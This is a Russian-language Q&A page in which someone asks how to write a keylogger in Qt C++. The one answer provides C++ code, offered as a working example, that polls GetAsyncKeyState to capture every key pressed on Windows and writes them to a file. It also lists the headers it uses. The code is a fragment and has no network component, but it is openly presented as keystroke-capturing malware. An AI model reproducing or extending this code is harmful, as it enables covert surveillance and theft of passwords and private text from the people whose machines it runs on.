Как написать keylogger qt c++? [закрыт]

133
24 сентября 2019, 20:40

Нужно написать keylogger в qt c++. Как это можно сделать? Какие библиотеки нужно подключать?

Answer 1
vector<char>truechar
{
    'q','w','e','r','t','y','u','i','o','p',
    'a','s','d','f','g','h','j','k','l',
    'z','x','c','v','b','n','m',
    'Q','W','E','R','T','Y','U','I','O','P',
    'A','S','D','F','G','H','J','K','L',
    'Z','X','C','V','B','N','M',
    '1','2','3','4','5','6','7','8','9','0',
};
void keyLog()
{
    for (int i = 0; i < 255; i++)
    {
        int state = GetAsyncKeyState(i);
        if (state == 1 || state == -32767)
        {
            switch (i)
            {
            case VK_SPACE: fout << "[SPACE]";
                break;
            case VK_TAB: fout << "[TAB]";
                break;
            case VK_DELETE: fout << "[DEL]";
                break;
            case VK_BACK: fout << "[BACK]";
                break;
            case VK_RETURN: fout << "[ENTER]";
                break;
            case VK_LBUTTON: fout << "[LBUT]";
                break;
            case VK_RBUTTON: fout << "[RBUT]";
                break;
            case VK_CAPITAL: fout << "[CAPS]";
                break;
            case VK_MENU: fout << "[ALT]";
                break;
            case VK_RMENU: fout << "[rALT]";
                break;
            case VK_CONTROL: fout << "[CTRL]";
                break;
            case VK_RCONTROL: fout << "[rCTRL]";
                break;
            case VK_INSERT: fout << "[INSERT]";
                break;
            case VK_HOME: fout << "[HOME]";
                break;
            case VK_END: fout << "[END]";
                break;
            case VK_UP: fout << "[UP]";
                break;
            case VK_DOWN: fout << "[DOWN]";
                break;
            case VK_LEFT: fout << "[LEFT]";
                break;
            case VK_RIGHT: fout << "[RIGHT]";
                break;
            case VK_SHIFT: fout << "[SHIFT]";
                break;
            case VK_RSHIFT: fout << "[rSHIFT]";
                break;
            case VK_NUMPAD0: fout << "0";
                break;
            case VK_NUMPAD1: fout << "1";
                break;
            case VK_NUMPAD2: fout << "2";
                break;
            case VK_NUMPAD3: fout << "3";
                break;
            case VK_NUMPAD4: fout << "4";
                break;
            case VK_NUMPAD5: fout << "5";
                break;
            case VK_NUMPAD6: fout << "6";
                break;
            case VK_NUMPAD7: fout << "7";
                break;
            case VK_NUMPAD8: fout << "8";
                break;
            case VK_NUMPAD9: fout << "9";
                break;
            case VK_DECIMAL: fout << ".";
                break;
            case VK_VOLUME_UP: fout << "{VOLUME+}";
                break;
            case VK_VOLUME_DOWN: fout << "{VOLUME-}";
                break;
            case VK_VOLUME_MUTE: fout << "{VOLUME=}";
                break;
            case 191: fout << "/";
                break;
            case 221: fout << "]";
                break;
            case 219: fout << "[";
                break;
            default: {
                if (std::find(truechar.begin(), truechar.end(), char(i)) != truechar.end())
                    fout << char(i);                    
                     }
            }
            fout.flush();
        }
    }

Вот пример кейлогера, который ловит все нажатые клавиши в виндовсе и сохраняет в файл(к тому же фильтрует от мусора и не нужных клавиш), библиотеки который юзал:

#include <windows.h>
#include <fstream>
#include <thread> // для потоков
#include <vector>
READ ALSO
Qt 4.8.2. Qt Crearor выдает ошибки

Qt 4.8.2. Qt Crearor выдает ошибки

начал изучать QtПреподаватель дал готовый код калькулятора на 4

121
Ошибка Qt. Untested Windows version 6.2 detected

Ошибка Qt. Untested Windows version 6.2 detected

Программа пытается запуститься, но не запускаетсяКомпилируется с предупреждением что не тестировалось в Windows 8, но у меня 10

126
Перевод из Java в с++

Перевод из Java в с++

Имеется такой класс:

137
Как реализовать сохранение SurfaceView в файл?

Как реализовать сохранение SurfaceView в файл?

Я рисую прямоугольники с использованием Canvas, динамически перемещаю и изменяю SurfaceView, я использую кнопку для сохранения("Save")

161